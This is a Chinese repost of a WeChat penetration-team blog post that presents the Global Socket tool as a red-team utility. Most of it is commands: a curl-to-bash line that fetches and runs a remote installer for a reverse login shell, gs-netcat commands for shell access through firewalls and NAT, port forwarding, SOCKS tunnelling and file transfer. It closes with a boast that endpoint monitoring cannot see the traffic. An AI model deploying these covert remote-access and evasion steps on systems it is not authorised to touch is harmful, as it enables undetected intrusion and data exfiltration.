技术之红蓝运维管理工具 | Global Socket

介绍

https://www.gsocket.io/

使用单个命令（完全自动化）部署反向登录shell，并远程访问加密后的shell。
Global Socket允许不同专用网络上的两个工作站相互通信。

某组织说

This must be the quickest way to access a system —— anonymous

使用以下三个命令之一来安装、卸载和访问 ：

安装

bash -c "$(curl -fsSL https://gsocket.io/x)"

卸载

GS_UNDO=1 bash -c "$(curl -fsSL https://gsocket.io/x)"

访问

gs-netcat -s "ExampleSecretChangeMe" -i

S="ExampleSecretChangeMe" bash -c "$(curl -fsSL https://gsocket.io/x)"

高阶玩法

https://github.com/hackerschoice/gsocket/

透过防火墙和NAT访问

gs-netcat -l -i

gs-netcat -i -s AABBCCDDEEFFGG

多人协同

端口转发

client

gs-netcat -l -d 127.0.0.1 -p 22

server

gs-netcat -p 2222

建立连接

nc -nv 127.0.0.1 2222

隧道代理

client

gs-netcat -l -S

server

gs-netcat -p 8848

综合来说还比较稳定

文件传输

先生成两个文件一个包含123一个包含ABC然后用zip压缩成test.zip

client

echo "FILETRANSFER"|gs-netcat -l -r >test.zip

server

echo "FILETRANSFER"|gs-netcat <test.zip

（某某某终端监测设备监测不到流量）更多用法请自行研究，懂得都懂

★

原文始发于微信公众号（渗透安全团队）：技术之红蓝运维管理工具 | Global Socket